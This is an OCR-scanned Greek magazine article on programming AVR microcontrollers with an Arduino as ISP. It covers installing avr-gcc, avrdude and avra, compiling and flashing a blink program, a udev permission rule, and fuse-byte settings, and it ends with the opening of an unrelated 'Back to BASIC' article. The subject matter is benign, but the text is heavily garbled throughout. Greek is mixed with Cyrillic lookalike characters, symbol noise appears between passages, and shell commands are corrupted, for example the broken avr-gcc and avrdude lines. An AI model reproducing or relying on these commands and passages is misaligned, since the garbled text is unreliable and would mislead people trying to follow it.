αναφερόμαστε πραγματοποιείται апо τα λεγόμενα FUSES, στα οποία θα αναφερ- 
θούμε αργότερα. Το μόνο σἰγουρο εἶναι ότι αν έχετε кӣу τη ρύθμιση που περιγρά- 
шан, θα ξέρετε поло кала се ті αναφερόμαστε. Та πρόσθετα εξαρτήματα που ava- 
фераце εἶναι о κρύσταλλος που λειτουργεί στην επιθυμητή συχνότητα, καθώς ка! 
δύο керашко! πυκνωτές στα 22ΡΕ. Οι δύο акробектес του κρυστάλλου συνδέονται 
στους ακροδέκτες ΧΤΑΙ 1 και ΧΤΑΙ2 του μικροελεγκτή. О ἑνας πυκνωτής συνδέεται 
μεταξύ του GND και του ΧΤΑΙ 1, ενώ ο ἄλλος μεταξύ του GND και του ΧΤΑΙ2. Αν ἐχε- 
τε θορυβηθεἰ апо ὀλες αυτές τις περιγραφές, ρἰξτε µια ματιὰ στις σχετικὲς εικόνες 
και ба ησυχάσετε αµέσως. Τα πράγματα εἶναι поло πιο απλά ап" боо ακούγονται ;) 


Εργαλεία 


Δεν ξέρουμε αν το αντιληφθήκατε, αλλά αν ακολουθήσατε τα παραπάνω βήματά 
έχετε поп μετατρέψει το Arduino σε programmer για τους AVR και το ἐχετε συνδὲ- 
сє! κατάλληλα µε τον µικροελεγκτἠ σας. Тора, џпорг!те να αρχίσετε τη συγγραφἠ 


18 


Ξεφύγετε από το Arduino! 
УУУ,УХУЧУЯ /ЭҰХ/ҮХ67ҮҰУҮХ77 УТ УХ» 9%699»%ə У УУ/»У/ У/У/УУИХ  О.,.ААЯЫЫ 


των προγραμμάτων και τη фортоой τους στη μνήμη flash του τσιπ! Ἡ μήπως ὀχι; Н 
αλήθεια εἶναι От! για τη συγγραφἠ των προγραμμάτων και τη μεταφορά τους στον 
µικροελεγκτἠ µπορείτε να στηριχτεἰτε στο Arduino IDE. Το μόνο που πρέπει να Kà- 
νετε εἶναι να δηλώσετε στο проураџџа бт! χρησιμοποιείτε τον νὲο σας programmer. 
Авто γίνεται апо το υπομενού Programmer, μέσα στο μενού Tools, ὀπου και πρέπει 
να επιλέξετε то Arduino as ISP. Мета ап! аџто, µπορείτε να γράφετε проураџџата 
και ма τα στέλνετε στον µικροελεγκτἠὴ μέσα апо το Arduino IDE. Аџтос ο τρόπος 
εργασίας, όμως, κρύβει µια паџ ба: Τα проураџџата σας θα προορίζονται αποκλει- 
στικἀ για τον ае-Медаз28. Αν θελήσετε να γράψετε κὠδικα για κἄποιον ἄλλον AVR, 
θα χρειαστεἰ να επἐέµβετε σε ρυθμἰσεις και σε ορισμένα (кала κρυμμένα) αρχεία που 
απαρτίζουν το Arduino IDE. 


Πιστεύουμε бт! тора που κάναμε то πρώτο βήμα ма να απαγκιστρωθούμε апо то 
περιβάλλον του Arduino και να επεκταθούµε σε ὀλους τους AVR, μπορούμε να гука- 
ταλείψουμε και το "δυσκίνητο" Arduino IDE. Εξάλλου, για τη συγγραφἠ των npo- 
γραμμάτων µας υπάρχουν δεκάδες text editors που προσφέρουν syntax highlighting 
και πολύ περισσότερα καλούδια σε σχέση µε том editor του Arduino IDE. Επιπρόσθε- 
τα, για τη μεταγλώττιση και τη µεταφορά των προγραμμάτων στον µικροελεγκτή, 
υπάρχουν εργαλεἰα για каде λειτουργικό σύστημα και τα περισσότερα απ' αυτά εἶναι 
Open Source. Σε σχέση µε τον text editor, νοµίζουµε ὁτι δεν χρειάζεται να noù- 
µε τίποτα περισσότερο. О καθένας µπορεί να χρησιμοποιεί αυτόν που γνωρίζει και 
аүапа. Πα παράδειγµα, στα Windows μπορούμε να χρησιμοποιούμε то Могерада++ 
(http://notepad-plus-plus.org) ενώ στο Linux το Gedit, το Kate, το nano к.а. Πα τη 


Στο διάγραμμα φαίνονται οι απαραίτητες συνδέσεις 559066 9 66660 
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μεταγλὠττισήἠ και τη μεταφορά των προγραμμάτων στο топпакі, χρειαζόμαστε то 
toolchain των AVR. Όσοι χρησιμοποιούν κἄποιο Debian-based Linux, μπορούν να 
προσθέσουν τα απαραἰτητα εργαλεἰα δίνοντας κάτι τέτοιο: 


sudo apt-get install build-essential всс-амг ауг-11рс амгдиде 


Στα Widnows τα πράγματα εἶναι εξίσου апла: Αρκεί να κατεβάσουμµε και να εγκατα- 
στἠσουµε το WinAVR (http://winavr.sourceforge.net). Ката την εγκατάσταση του 
εν λόγω πακέτου, то system path των Windows ενημερώνεται κατάλληλα ὥστε ола 
τα εργαλεἰα που προστίθενται να εκτελούνται κανονικά апо οποιονδήποτε κατάλογο 
του υπολογιστή. 


Κάπου εδὠ αξίζει να αναφἐρουµε µια χρήσιμη λεπτομέρεια για ὁσους γράφουν npo- 
γράμματα σε Assembly ἡ σκοπεύουν να ασχοληθούν μαζί της στο μέλλον. Τόσο та 
εργαλεία που εγκαταστήσαμε στο Linux, ògo και το πακέτο WinAVR, περιλαμβάνουν 
τον GNU assembler. Ωστόσο, για τους AVR υπάρχει ἑνας assembler που προσφέρει 
μερικὲς πρόσθετες ευκολίες (π.χ., υποστήριξη macro) κι ο οποίος παρέχεται δωρεάν 
апо την Atmel. Αναφερόμαστε σε ἑνα εργαλείο της γραμμὴς εντολών, που омоџа- 
ζεται аугаѕт2. То εν λόγω проураџџа δεν διατίθεται για το Linux, αλλά αυτό δεν 
πρέπει να σας προβληματίζει καθόλου. Па τους χρήστες Linux υπάρχει ἑνας κλὠνος 
του avrasm2, που ονομάζεται avra και αποτελεἰ протом Ανοιχτού Λογισμικού. Па την 
εγκατἀστασή του αρκεἰ να δώσουμε κάτι τέτοιο: 


sudo apt-get install avra 


Στην εικὀνα φαίνεται (пал) η διασύνδεση ενός 
а&Меда88. Αυτή τη фора, όμως, ἐχει προστεθεί 
ο κρύσταλλος και οι δύο керашко! πυκνωτές. 


Στην πράξη, аита та τρία εξαρτήματα πρέπει Ф 92-2295) 22992 
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үсс «- 
РВ? (UCSK/SCL/PCINT7) «а= 
PB6 (MISO/DO/PCINT6) «= 


=p (RESET/dW) РА2 πὴ 4 
(RXD) РОО O] 2 
(TXD) PD1 Γ] з 


=} (ХТА!2) ΡΑΊ 17 [8 PB5 (MOSI/DI/SDA/PCINT5) «а= 
=} (ΧΤΑΙ 1) РАО 16 | PB4 (OC1B/PCINT4) 
(CKOUT/XCK/INTO) PD2 15 | О РВЗ (OC1A/PCINT3) 
(ІМТ1) РОЗ 14 | 1ΡΒ2 (ОСОА/РСІМТ2) 


13 [О РВТ (ΑΙΝΊ/ΡΟΙΝΤΊ) 
12 | PBO (ΑΙΝΟ/ΡΟΙΝΤΟ) 
11 | Р06 (ICP) 


(Т0) РРА 
(ОСОВ/Т1) ΡΟ5 
=> GND 


Στην εικὀνα βλέπουμε τους ακροδέκτες ενός atTiny2313, 

καθώς και τη λειτουργία του καθενός ὁπως παρουσιάζονται 

στο αντίστοιχο datasheet. Οι ακροδέκτες που έχουν σημειωθεί 
µε πρόσινο χρώμα εἶναι αυτοί που απαιτούνται για τον 
προγραμματισμό του µικροελεγκτή апд τον programmer µας. Οἱ 
ακροδέκτες µε то πορτοκαλί προορίζονται για τη σύνδεση του 
κρυστάλλου και των κεραμικών πυκνωτών, ενώ οι ἆλλοι δύο 
ακροδέκτες αφορούν στην τροφοδοσία του ολοκληρωμένου. 


Παραδόξως, η προσθήκη του амгазт2 στα Windows δεν πραγματοποιείται εξίσου 
εὐκολα. Βλέπετε, η Atmel δεν παρέχει то συγκεκριµένο проураџџа ξεχωριστά, алла 
μόνο σαν τμήμα του περιβάλλοντος Atmel Studio. Επομένως, για να αποκτήσουμε то 
амгазт2 πρέπει να κατεβάσουμµε то IDE της Atmel (www.atmel.com/tools/ATMELSTUDIO. 
aspx), να το εγκαταστήσουμε και να "κλέιψουμε" τον assembler. Αν εγκαταστήσουµε 
το Atmel Studio στην προκαθορισμένη θέση, το ζητούμενο πρόγραµµα θα βρίσκε- 
ται στον κατάλογο C:\Program Files (x86)\Atmel\Atmel Toolchain\AVR Assembler\ 
Native\2.1.39.1005\avrassembler. Αυτό που ζητάμε εἶναι το εκτελέσιμο avrasm2. 
ехе. Αφού το αντιγράψουµε σε κάποιον κατάλογο, кало θα ἦταν να τον προσθέ- 
σουµε στο system path των Windows. Με αυτόν τον τρὀπο θα μπορούμε ма χρη- 
σιμοποιούμµε τον assembler апо οπουδήποτε, σαν να αποτελούσε κάποιο εργαλείο 
του συστήματος. Πα την επἐμβαση στο system path арке! να κάνουμε δεξὶ κλικ 
στο εικονίδιο "Υπολογιστής" και να επιλέξουμε το "Ιδιότητες". Στο παράθυρο που 
εμφανίζεται επιλέγουμε το "Ρυθμίσεις συστήματος για προχωρημένους" και στο мео 
παράθυρο κάνουμε κλικ στο κουμπί "Μεταβλητὲς περιβάλλοντος". Мета апо ола 
αυτά τα κλικ (ооф!) προκύπτει ἑνα ακόµα παράθυρο. Еке! κάνουμε κλικ επάνω στη 
μεταβλητή "PATH" και πατάμε то κουμπὶ "Επεξεργασία". Ακριβώς εκεἰ πρέπει να εισἀ- 
γουµε τον κατάλογο ὀπου τοποθετήσαμε то аугаѕт2.ехе και να πατήσουµε στο ΟΚ. 


Μεταγλωττίσεις 


Мета апо τα παραπάνω μπορούμε επιτέλους м” αρχίσουμε την ουσιαστική ενασχόλη- 
ση µε τους μικροελεγκτὲς AVR. Με ἆλλα λόγια, μπορούμε ν' αρχίσουμε τη συγγρα- 
φἠ προγραμμάτων και τη µεταφορά τους στο τσιπάκι! Ας ξεκινήσουμε ὁμως µε τη 
μεταγλώττιση. Па τις ανάγκες του ἄρθρου, χρησιµοποιήσαμε ἐναν аҰМеда88 (αυτόν 
εἰχαμε εὐκαιρο) και γράψαμε ἑνα проураџџа τύπου "hello world". То πρὀγραμμὰ µας 
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File Edit Sketch Help 

Auto Format 

Archive Sketch 

Fix Encoding & Reload 

Serial Monitor Ctri+Shift+M 


зкејсп_осиба 


Board 
Serial Port 


Programmer AVR ISP 


Burn Bootloader AVRISP тй 
USBtinyISP 
USBasp 
Parallel Programmer 


Arduino as ISP 
й N 


Па уа προγραμµατίσουµε évan AVR µε тп βοήθεια Tou Arduino και μέσα 
апд το Arduino IDE, πρέπει να πραγµατοποιήσουµε µια απλἠ ρύθμιση. 


αναβοσβήνει ἑνα LED που έχουμε συνδέσει στον ακροδέκτη PDO. О συγκεκριμένος 
ακροδέκτης ανἠκει στο РОВТР του μικροελεγκτὴ και, σύμφωνα µε то datasheet, 
πρὀκειται για то побаракі 2 του τσιπ. Μπορείτε να κατεβάσετε το πρόγραμμά µας 
απὀ το: 


http://bit.ly/dh025blink 


Δείτε тора πόσο απλά εἰναι τα πράγματα. Па τη μεταγλώττιση του προγράµµατος, 
σε οποιοδήποτε λειτουργικὀ κι αν βρισκόμαστε, σε ἑνα παράθυρο τερματικού арке! 
να δώσουμε кайт! τέτοιο: 


ауг-всс -ттси=атевава -Os blink.c -o blink.o 


Το μόνο που χρειάζεται να προσέξουμε εδώ, εἶναι уа δηλὠσουμετο σωστό буора για 
τον µικροελεγκτἠή µας. Ευτυχώς για µας, ο ауг-дсс αναγνωρίζει та εµπορικἁ ονόματα 
των τσιπ! То протом αυτού του βήματος εἶναι το αρχείο Міпк.о. Ωστόσο, για τη pE- 
тафора του προγράµµατος στον μικροελεγκτἠ χρειαζόμαστε ἑνα αρχείο τύπου HEX. 
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Ξεφύγετε από το Arduino! 
7 ХХ 7 <ХУУӘӨӚ ХЯЧИ.ХЫУ%У6ІМ6УМИ»УИҰ,»СУ κ  АЛАЛУААУУ УМ ЛЛАХАХ А 


руагФстипсһрапа: -/ітр х 


руаквскипсћрапд : ~/ етр5 
руаквскипсћрапд : ~/ Еетр5ј sudo apt-get install build-essential дсс-аук аук-116с аукдиде 
Reading package lists... Done 
Building dependency tree 
Reading state information... Done 
Suggested packages: 
avrdude-doc task-c-devel gcc-doc дсс-4.2 
The following NEW packages will be installed: 
avr-libc avrdude build-essential gcc-avr 
0 upgraded, 4 newly installed, 0 to remove and 93 not upgraded. 
Need to get 0 B/18.8 MB of archives. 
After this operation, 63.3 MB of additional disk space will be used. 
Selecting previously unselected package build-essential. 
(Reading database ... 83972 files and directories currently installed.) 
Unpacking build-essential (from .../build-essential_11.5_i386.deb) 
Selecting previously unselected package дсс-ауг. 
Unpacking gcc-avr (from .../gcc-avr_1%3a4.7.2-2_i386.deb) 
Selecting previously unselected package avr-libc. 
Unpacking avr-libc (from .../avr-libc_1%3a1.8.0-2_all.deb) 
Selecting previously unselected package avrdude. 
Unpacking avrdude (from .../avrdude_5.11.1-1_i386.deb) 
Processing triggers for man-db ... 
Setting up build-essential (11.5) 
Setting up дсс-аук (1:4.7.2-2) 
Setting up avr-libc (1:1.8.0-2) 
Setting up avrdude (5.11.1-1) 
pvarêcrunchbang:~/tmp$ || 


Н εγκατάσταση των απαιτούμενων εργαλείων στο Linux πραγματοποιείται 
µε μία κίνηση. Αντίστοιχη ευκολία παρουσιάζει και η εγκατάστασή τους 
στα Windows, ὁπου αρκεί να εγκαταστήσουµε το πακέτο WinAVR. 


Πα να πάρουμε το ζητούμενο αρχείο, арке! ἑνα ακόµα βήμα: 
амг-објсору -j .text -j .data -O іһех blink.o blink.hex 


Αυτό ἠταν! Тора, μπορούμε να προχωρήσουμε στη µεταφορά του проураџџатос 
στη μνήμη flash του µικροελεγκτἠ µας. Πριν προχωρήσουμε, αξίζει να αναφέρουμε 
ότι το πρόγραµµα ауг-асс µπορεί να δεχτεἰ και πρὀσθετες παραμέτρους, ορισμένες 
απὀ τις οποίες ενεργοποιούν τις βελτιστοποιήσεις (optimizations) που υποστηρίζει 
ο ССС. Επίσης, αν σας ενδιαφἑρει η συγγραφἠ προγραμμάτων για τους AVR στη 
γλὠσσα С, θα ἦταν χρήσιμο να ρἰξετε µια ματιὰ και στο σχετικὀ κείμενο апо την 
Atmel. Πρόκειται για µια συλλογή апо tips και tricks, για τη συγγραφή βελτιστοποι- 
ημένου κὠδικα (www.atmel.com/images/doc8453.pdf). 


Πα όσους θέλουν να γράφουν σε Assembly, τα πράγματα εἰναι εξίσου апла. Па 
τη "μεταγλώττιση" του προγράµµατος аркі να τρἐξουµε то avra (στο Linux) ἡ το 
амгазт2 (στα Windows) και να δώσουμε σαν παράμετρο το αρχείο µε τον κὠδικα. Το 
αποτέλεσµα αυτής της εκτέλεσης θα εἶναι το αρχείο HEX, που χρειαζόμαστε για τη 
μεταφορά του προγράμματος στον μικροελεγκτή. 


Μεταφορά στο τσιπ 


Σε αυτὀ το στάδιο θα χρησιμοποιήσουμε το εργαλείο амгдиде. Πα τη μεταφορά του 
проураџџатос µας στον шкроглеуктћ апо τα Windows, арке! να δώσουμε κάτι TÈ- 
ΤΟΙΟ: 


амгдиде -P сот рог -p part_num -b 19200 -c avrisp -v -e -U Пазћ:м:ћехћје .ћех 
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УНА©@КЕК 
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Όπως αντιλαμβάνεστε, στη θέση Tou com_port πρέπει να δώσουμε τη σειριακἠ 
θύρα που αντιστοιχεί στο Arduino µας2. Εξίσου προφανὲς εἶναι και αυτό που πρέπει 
να συμπληρώσουμε στη θέση του hexfile.hex: То αρχείο HEX που προέκυψε апо τη 
μεταγλώττιση του προγρἀμματὸς µας. Στη Өёоп του рагі пит, ὅμως, πρέπει уа фа- 
νούμε προσεκτικοἰ. Το avrdude δεν αναγνωρίζει τα επίσημα ονόματα των µικροελε- 
γκτὠν. Πα παράδειγµα, στην περίπτωση του аЕМеда88 πρέπει να δώσουμε то "m88", 
στην περίπτωση του atMega328 πρέπει να δώσουμε то "πι328", ενὠ αν θἐλουµε να 
προγραμματίσουμε τον atTiny85, πρέπει να δώσουμε то "t85". Па ша ολοκληρωμέ- 
νη λίστα µε τους μικροελεγκτὲς και το ὀνομα που αντιστοιχεἰ στον καθένα, μπορείτε 
να рІЕете ша ματιά στο κείμενο βοήθειας του προγράµµατος ἡ εδώ: www.nongnu.org/ 
аугаийае/ивег-тапиа1/аугаиде 4.һ%т1. 


Για προχωρημένους. 
ο 
Πρέπει να έχετε συνδεθεί ως Administrator για την πραγματοποίηση 
των περισσότερων από αυτές τις αλλαγές. 
Επιδόσεις. 
Οπτικά εφέ. χρονοδιάγραμμα επεξεργαστή, χρήση μνήμης και 


εφέ. ! ЕМ? ФОБЕКРЕ pp 
εικονική μνήμη Í Sa 


Προφίλ χρηστών 
Ρυθμίσεις επιφάνειας εργασίας σχετικές µε τη σύνδεσή σας 


Εκκίνηση και αποκατάσταση 


Ц Destination =file 
Εκάνηση (ренин расе συστήµατος και πληροφορίες. T от осгат Files (Х86/Д ту stuffiwi 


.Т-ма------- μμ τμ πα 


ыа 
Се |( м» | 


Προκειμένου να χρησιμοποιούμε τον assembler των AVR µε ευκολία, αρκεί уа 
τον τοποθετήσουµε σε каполом κατάλογο και στη συνέχεια να προσθέσουμε то 
συγκεκριµένο κατάλογο στο system path των Windows. 


Στο περιβάλλον του Linux δεν αλλάζει καθόλου η λογική µε την οποία χρησιµοποι- 
οὐμε то амгдиде. Επιπρόσθετα, τα рагі пит και һехНіе.һех συμπληρώνονται pE тоу 
ἰδιο ακριβώς τρὀπο. Στο Linux, όμως, то Arduino δεν εµφανίζεται µε το ὀνομα που 
εμφανίζεται στα Windows (сот-кат!). Εδώ εµφανίζεται σαν va device file µε ὀνομα 
της µορφής ΙΙγΑΟΜ-κάτι, ὀπου το "κάτι" εἶναι емас αριθμὀς. Τις περισσότερες φορὲς 
πρὀκειται για το device file ttyACMO. Σε κάθε περίπτωση, για να μάθετε ποιο device 
file αντιστοιχεἰ στο Arduino, арке! να то συνδέσετε στον υπολογιστή σας και Муа 
δευτερόλεπτα μετά να τρέξετε το dmesg. Αφού βεβαιωθείτε για το device file που 
αντιστοιχεἰ στο Arduino, μπορείτε να τρέξετε το амгдиде ως εξἠς: 


2. Ὅταν συνδέουµε το Arduino στον υπολογιστή, τα Windows το «αναγνωρίζουν» σαν μία θύρα σειριακἠς επικοινωνίας. Πρόκειται για τη θύρα 
που ζητά να προσδιορίσουμε και το Arduino IDE. Στη δικἠ µας περίπτωση εμφανίζεται σαν сот3, αλλά στο δικὀ σας σύστηµα µπορεί να εἶναι 
οποιοδήποτε ἆλλο сот. 
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Ξεφύγετε από το Arduino! 
7 ХХ е А ОХ ХУ Ә7ООО  “б/%УӨӚУ ”/ЯфҢЛА%ЛИЛЯИЯи 


sudo амгдиде -P деуісе {16 -p рагі пит -b 19200 -c амга5р -v -e -U 
flash:w:hexfile.hex 


Αναρωτιέἑστε γιατἰ χρησιμοποιούμε το sudo ката την εκτἐλεση του avrdude; Н πρὀ- 
σβαση στα device files (όπως εἶναι το ЖУАСМО) δεν επιτρέπεται στους απλούς xph- 
στες. Έτσι, για να λειτουργήσει σωστὰ το avrdude, πρέπει уа το εκτελἐσουµε µε 
δικαιώματα root. 


Όπως αντιλαμβάνεστε, μετά την επιτυχημένη εκτἐλεση του амгдиде έχουμε ξε- 
μπερδέψει! Το τσιπάκι διαθέτει πλέον τον κὠδικά µας στη μνήμη flash και, каде 
фора που θα το τροφοδοτούμε, θα ξεκινά την εκτἐλεση του προγράμματος. Μένει 
тора να στήσουμε γύρω του το απαιτούμενο κύκλωμα. Αυτό, оџос, εἶναι ζήτημα 
που σχετίζεται µε την εκάστοτε κατασκευή. Στην περίπτωση του blink, арке! ма 
τροφοδοτήσουμε τον μικροελεγκτἠ και να συνδέσουμµε την άνοδο гмос LED στον 
ακροδέκτη 2, καθώς και την κάθοδο στο СМРЗ, 


ο..9..9...9..9..9..9..9..9..9..9..9..9..9..9..9..9..9..9..9..9..9..9..9..9..9 

• 8 А Ф 
Βολικὸς αυτοματισμός... 

9 9 
H συχνἠ εκτέλεση του аугачае µε δικαιώματα root ενδέχεται να ανησυχεἰ --ἡ 

5 ακόµα και уа δυσαρεστεἰ-- όσους xouv µια παραπάνω ευαισθησία στα ζητή- ? 

е рата ασφάλειας. Апо την ἄλλη, η χρήση του sudo και η επακὀλουθη εισαγωγἠ ο 

e TOU κωδικού µας, ενδέχεται να καταντήσει κουραστικἠ κι εκνευριστικἠ. Па να | 
απαλλαγούμε апо аџтом τον џпела, арк! ма εξασφαλίσουµε от! το device file 

© που αντιστοιχεἰ στο Arduino µας εἶναι προσβάσιμο апо όλους του χρήστες. 5 

е Αυτό µπορεί ма γίνει µε την προσθήκη του κατάλληλου κανόνα στον device ә 
manager του Linux (идем). Αρχικά, οφείλουμε να δημιουργήσουμε ема архејо 

® που θα περιέχει τον κανόνα µας: 4 

4 sudo nano /etc/udev/rules.d/50-arduino-isp.rules 4 

% Στο εσωτερικὀ του θα препе! να προσθέσουµε την ακόλουθη γραμμή: Р 

ө ө 

KERNEL=="ttyACM[0-9]*", МОРЕ-"0666" 

• о 
Αμέσως µετά αποθηκεύουµε το αρχείο, βγαϊνουµε апо τον editor (то nano :0) 

© κι επιβάλλουµε στον device manager уа κάνει епамеккјупоп: 4 

4 sudo /екс/іпіз.а/идеу restart Р 

© Αυτό ἦταν ὁλο! Την επόμενη фора που θα συνδέσουµε το Arduino µας, το амті- ? 

е στοιχο device file θα εἶναι πλήρως προσβάσιμο апо ὁλους τους χρήστες. Έτσι, ә 

е θα μπορούμε уа εκτελούμε то амгдиде χωρὶς τη μεσολάβηση του sudo. | 

e © өө өө ө ө ө ө ө ө ө ө ө ө ө ө ө ө ө ө ө ө ө ө 

Ρυθμίσεις 


Όπως амафераџе σε προηγούμενες ενότητες του παρόντος άρθρου, о! µικροελε- 
үктес AVR δέχονται ορισμένες ρυθμίσεις που σχετίζονται µε την επιθυµητἠ συχνό- 
τητα λειτουργίας, τη μόνιμη ενεργοποίηση ἡ апемеруопотоп ορισμένων υποσυστη- 
μάτων к.а. Αυτές οι ρυθμίσεις εἶναι αρκετά προχωρημένες και αν πρέπει να επέµβετε 
σε κάποια, εἶναι σίγουρο бт! θα γνωρίζετε και για ποια πρὀκειται! Οι ρυθμἰσεις που 


3. «Φυσικά, για να µην κάψουμε то LED θα πρέπει να χρησιμοποιήσουμε και µια µικρή αντίσταση (пері та 5209). Όλα αυτά όμως αποτελούν 
λεπτομέρειες της εκάστοτε υλοποίησης. 
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руагФсгипсһрапд: ~ 


(селен) 


Па уа προγραμµατίσουµε κάποιον AVR µε τη βοήθεια του аугаиде, πρέπει уа 
μάθουμε ποια «συσκευή» αντιστοιχεί το σύστημα στον programmer µας. Στις 
περισσότερες περιπτώσεις πρὀκειται για το device те ονόματι ЧУАСМО. 


αναφέρουμε αποθηκεύονται σε συγκεκριμένους катахорптес του шкроглеукту, 
που ονομάζονται Fuse Bytes. Σε αυτούς τους καταχωρητὲς δεν µπορεί να επέμβει 
κανένα проураџџа, пара μόνο ἑνας hardware programmer. Αν θέλουμε να δούμε 
τις ρυθµίσεις που δέχεται ο μικροελεγκτἠς µας, аркеі να επισκεφθούμε κάποιο site 
που να προσφἑρει аџто που ονομάζουμε fuse calculator. Μια кал υλοποίηση θα 
βρείτε στην τοποθεσία http://www.engbedded.com/fusecalc. Εκεί, μπορούμε να ЕПІЛЕ- 
ξουμε τον μικροελεγκτἠ µας, να δούμε тіс διαθέσιμες ρυθμµἰσεις και уа τροποποιἠ- 
σουµε ὀποιες κι όπως επιθυμούμε. Στη συνέχεια, πατώντας το κουμπὶ Apply feature 
settings, στο τἐλοςτης σελἰδας θα εμφανιστούν οι κατάλληλες παράμετροι που пре- 
πει να δώσουμε στο амгдиде, για την гфарџоуп των ρυθμίσεων στον µικροελεγκτἠ. 
Προκειμένου να επέµβουµε στις ρυθμίσεις του δικού µας шкроглеуктћ μέσα апо та 
Windows και µε τη βοήθεια του fuse calculator που προτεἰναμε παραπάνω, θα πρέπει 
να δώσουμε κάτι τέτοιο: 


амгдиде -Р -р -b 19200 -c avrisp 
Εναλλακτικά, αν χρησιμοποιούμε Linux θα прёп να δώσουμε кайт! τέτοιο: 


зидо амгдиде -Р /деу/ -р -b 19200 -c амгіср 


Προφανώς, στη θέση του fuse_calculator_output θα πρέπει να συμπληρώσουμε τις 
παραμέτρους που πήραμε апо τον fuse calculator. 


Πριν σας αφήσουμε να παίξετε µε τα εργαλεία που παρουσιάσαµε και κἄποιον апо 
τους μικροελεγκτὲς της οικογένειας AVR, οφείλουμε уа επιστήσουμε την προσοχή 
σας σε Еуау кмдимо! Το παιχνίδι µε та fuse bytes εἶναι αδύνατο να καταστρέψει 
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Ξεφύγετε από το Arduino! 
7 “ХХ е “А е хұҡү<ң<“4““ УАЛИ ЛАЛА СЕВ 


τον шкроеДеүктй, αλλά ενδέχεται να μπλοκάρει τη δυνατότητα προγραμματισμού 
του. Σε αυτή την περίπτωση, για την επαναφορά του µικροελεγκτἠή απαιτείται η 
χρήση ειδικού hardware programmer, о οποίος θα υποστηρίζει το ΗΝΘΡ ἡ το ΗΝΡΡ”. 
Με алла λόγια, αν κλειδώσετε τον AVR θα χρειαστεἰ να αποκτήσετε πρόσβαση σε 
κάποιον επαγγελµατικὀ hardware programmer. Νομίζουμε бт! δεν εἶναι καιρὸς για 
περιττά ἐξοδα. 


55. руаг@©сгипсћһбапд: -/ітр 
-ІМ-І--(-- 1 руаг руак 403 Oct 6 07:30 blink.c 
-rw-r--r-- 1 руаг руас 353 Oct 6 07:30 blink.hex 
-гихг-хг-х 1 руаг руаг 3.9K Oct 6 07:30 blink.o 
руаквескипсћђапад : ~/ Етр5 

руакескипсћрбапд :~/етр5 avrdude -P /dev/ttyACM0 -b 19200 -c аугівр -p m88 -V -e -U flash:w: 
blink.hex 


avrdude: AVR device initialized and ready to accept instructions 

Reading | 334348444444444844 8444444444 REER 1111141188 | 100% 0.065 
avrdude: Device signature = 0х1е930а 

avrdude: erasing chip 

avrdude: reading input file "blink.hex" 

avrdude: input file blink.hex auto detected as Intel Hex 

avrdude: writing flash (118 bytes): 

Writing | {1141411111 1111111111 111111 1144418 | 100% 0.21s 
аукдиде: 118 bytes of flash written 


avrdude: safemode: Fuses OK 


avrdude done. Thank you. 


pvarêcrunchbang:~/tmp$ || 


Μόλις µεταφέραμε то ΒΙΙΠΚ.ΠΕεΧ στον µικροελεγκτή µας, χρησιμοποιώντας 
то εργαλείο аугаиае Και то Arduino ως hardware programmer! 


4. Амафероџаоте στα «High Voltage Serial Programming» ка! «High Voltage Parallel Programming». 
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ουκ Ὁν 


7 Skill: Beginner 


Tags: Python, каргекаг, παλίνδροµον, πρώτον αριθμοί, τέλενον αριθµοί, πρώτοι 
παράγοντες, τετραγωνικές ρίζες 


Back to ВА51С (5): Εξερευνώντας τους αριθμούς! 


Αν λέγατε σε οποιονδήποτε ενήλικο στη δεκαετία του "80 бт! θέλετε να 

ασχοληθεἰτε µε τα κομπιούτερ, θα σας κοἶταζε µε απορία και θα σας 
ἔλεγε κάτι τέτοιο: "Ма, ті να τα κάνεις αυτά παιδί µου; Οἱ ηλεκτρονικοίἱ 

εγκέφαλοι εἶναι για τη МАЅА!". Βλέπετε, για τον πολύ κόσμο о 

υπολογιστής ἦταν κάτι τόσο апоџакро, που στη λαϊκή κουλτούρα εἶχε 

συνδεθεῖ µε το αστείο буора "Ηλεκτρονικός εγκἐφαλος". Μάλιστα η 
αναφορά συνοδεύονταν апо παρατηρήσεις του τύπου "κάνει χιλιάδες 
πράξεις το δευτερὀλεπτο"', ενώ πολλοί περιέγραφαν εικόνες βγαλμένες 
απὀ εγκυκλοπαΐδειες, οι οποίες ἐδειχναν τον Eniac να καταλαμβάνει ἑνα 
δωμάτιο (και να καταναλώνει χιλιάδες κιλοβάτ). 


Back to ВА51С(5): Εξερευνώντας τους αριθμούς]! 
Αα 


О γράφων, πάντως, ау κι αυτής της εποχἠς (των 805, ὀχι του Епјас!), поте δεν 
χώνεψε τον оро "ηλεκτρονικὸς εγκέφαλος". Μόνο εγκἐφαλοι δεν ἦταν εκείνα та 
плектромка тёрата, που ἠθελαν гма εργοστάσιο της ДЕН μόνο και μόνο ма να 
λειτουργούν στο idle. О δικὸς µου εγκἐφαλος (μαζί µε όλα та περιφερειακἀ) KaTa- 
ναλώνει μόλις 2000 дершдес την ημέρα, οι οποίες αυξάνονται σε 2500 το καλοκαίἰρι 
λόγω том пауотом. Έπειτα, τη δεκαετία του '80 τουλάχιστον, ο бікдс µου күкефа- 
λος ἐκανε μετὰ βίας µια πρὀσθεση το λεπτὸ — και ἦταν θέμα τύχης ам θα ἐβρισκα то 
σωστὸ αποτέλεσμα. Αντίθετα, οι υπολογιστὲς της εποχἠς ἑκαναν прауџатпка "χιλιά- 
δες πράξεις το δευτερὀλεπτο". Αυτή η ἐκφραση ἦταν η џомп που χρησιμοποιούσαν 
οι μεγάλοι για τους υπολογιστές και η οποία перігіхе µια δόση αλήθειας. Αν ἦταν 
αποτελεσματικοί σε κάτι οι υπολογιστὲς, ауто ἦταν οι αριθµητικὲς πράξεις. Στο като 
κάτω, то ἴδιο ισχύει και για τους σημερινούς υπολογιστὲς, οι οποίοι δεν εἶναι τίποτα 
алло пара "glorified programmable calculators". Έτσι δεν εἰναι; Σας βλέπω уа ðu- 
σανασχετεἰτε! Εσείς βλέπετε ταινίες, μιλᾶτε στο Facebook, ακούτε μουσικἠ, παίζετε 
μ' ἑνα соро games κι επικοινωνείτε µέσω του υπολογιστή. Στα δικἁ σας μάτια, δεν 
ἐχει каша σχέση μ' ἑνα --ταπεινό ἡ ὀχι-- коџтоџтерак!. 


Τα πράγματα оџос δεν ἦταν πάντα ἐτσι. Βλέπετε, та прота προβλήματα που κλήθη- 
καν να λύσουν οι υπολογιστὲς ἦταν кабара ...υπολογιστικἀ. Τέτοια προβλήματα ou- 
νεχἰζουν να λύνουν και σήμερα, αν και µε τη δικἠ µας, καθημερινή χρήση, τείνουµε 
να το ξεχνάμε. Τη δεκαετία του '80, όμως, τα прауџата Tav аркета διαφορετικἀ. 
